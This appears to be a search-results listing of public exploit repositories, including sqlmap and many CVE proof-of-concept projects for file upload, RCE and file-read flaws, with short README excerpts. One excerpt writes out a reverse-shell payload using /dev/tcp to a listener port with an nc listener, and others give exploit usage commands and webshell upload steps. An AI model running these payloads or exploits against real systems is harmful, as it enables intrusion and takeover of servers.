81902 matches found
sqlmap
sqlmap sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switche...
CVE-2026-4883
CVE-2026-4883: Piotnet Forms Pro = 2.1.40 - Unauthenticated Arbitrary File Upload → RCE The vulnerability stems from inadequate file type validation in the piotnetformsajaxformbuilder function. The plugin employs an incomplete extension blacklist blocking only php, phpt, php5, php7, and exe while...
CVE-2020-5844
CVE-2020-5844 Authenticated RCE in PandoraFMS 7.0-NG 742 Admin privileged attackers can upload malicious PHP documents. By decoding the base64 file location users can gain a shell as apache user. Discovered by TheCyberGeek PoC python script Usage: python3 CVE-2020-5844.py URL USER PASS...
CVE-2024-7808
CVE-2024-7808 💀 $$\colorred THIS \space EXPLOIT \space MAY \space VIOLATE \space THE \space LAW.$$ $$\colorred\space YOU \space ARE \space RESPONSIBLE \space FOR \space YOUR \space ACTIONS.$$ $$\colorredDEMONSTRATION \space PURPOSE \space ONLY.$$ DESCRIPTION RCE by Non-Admin Users via CSRF in...
CVE-2023-24610
CVE-2023-24610 This is a proof of concept for CVE-2023-24610 We start by creating a polyglot file using exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php We change the file to png so it will pass the front-end check After that, we start a nc listener on port 8888 ...
CVE-2018-19422-SubrionCMS-RCE
CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 Authenticated Remote Code Execution /panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these. Exploit Usage Commands: Windows/Linux: $ sudo python3...
CVE-2024-22263_Scanner
CVE-2024-22263Scanner For Ethical Usage only, Any harmful or malicious activities are not allowed. And it's your own responsibility. CVE-2024-22263: Spring Cloud Dataflow Arbitrary File Writing Usage ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗...
CVE-2023-2825-PoC
CVE-2023-2825-PoC Proof-of-concept for CVE-2023-2825, an arbitrary file read vulnerability in GitLab CE/EE 16.0.0. The script logs in with a valid GitLab account, creates the required public nested group structure, creates a public project, uploads an attachment, and uses the vulnerable upload pa...
CVE-2025-69212-PoC
CVE-2025-69212-PoC https://github.com/advisories/GHSA-25fp-8w8p-mx36 OpenSTAManager versions Usage CVE-2025-69212.py -h -u URL -C COOKIE options: -h, --help show this help message and exit -u, --url URL target url, eg http://127.0.0.1 -C, --cookie COOKIE cookie value...
VcenterKiller
VcenterKiller -1. Note For those setting up a vulnerable environment locally, using vckiller to verify log4j will mostly fail, because under VMware's NAT mode, the outgoing network interface in the verification module will be determined as 127.0.0.1, causing the target's LDAP Server address to...
Check-WP-CVE-2020-35489
Check-WP-CVE-2020-35489 CVE-2020-35489 The CVE-2020-35489 is discovered in the WordPress plugin Contact Form 7 5.3.1 and older versions. By exploiting this vulnerability, attackers could simply upload files of any type, bypassing all restrictions placed regarding the allowed upload-able file type...
CVE-2024-53677-S2-067
🚨🚨 CVE-2024-53677-S2-067🚨🚨 Security Advisory: CVE-2024-53677 – Critical Apache Struts Remote Code Execution Vulnerability Advisory Date: December 14, 2024 CVE ID: CVE-2024-53677 CVSS Score: 9.5 Critical Overview A critical vulnerability, CVE-2024-53677, has been identified in the popular Apache...
CVE-2021-22005_PoC
CVE-2021-22005PoC CVE-2021-22005PoC getshell: https://gist.github.com/testanull/c2f6fd061c496ea90ddee151d6738d2e verify: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923WEBVmwarevCenterServerFIleUploadCVE-2021-20050.py...
cve-2022-44268
Exploit tailored for HackTheBox Pilgrimage Automatic python script using cve-2022-44268 to add a profile value with a filename from a input filelist in an input file, update the image file upload using a input request.req file from Burpsuite already included of the file upload uploading each...
ResponsiveFileManager-CVE-2022-46604
ResponsiveFileManager-CVE-2022-46604 Responsive FileManager v.9.9.5 vulnerable to CVE-2022-46604 File Creation Extension Bypass which leads to RCE. The current exploit is made in Python 3 and exploits the vulnerability to upload a webshell which allows the remote execution of commands in the...
CVE-2025-52078
🚨 CVE-2025-52078 - Unauthenticated Arbitrary File Upload - Writebot SaaS React Template This repository contains a proof-of-concept exploit for an Unauthenticated Arbitrary File Upload vulnerability found in the Writebot – AI Content Generator SaaS React Template. 🧠 Product Page: ThemeForest –...
drupal-exploit
drupal-exploit CVE-2018-7600 This script will exploit the CVE-2018-7600 vulnerability in Drupal 7 : drupal.py https://drupaldomain/drupal/ uid=33www-data gid=33www-data groups=33www-data https://nvd.nist.gov/vuln/detail/CVE-2018-7600 https://www.drupal.org/sa-core-2018-002...
CVE-2026-39770
Unauthenticated Arbitrary File Upload in Doctreat = 1.7.0 versions...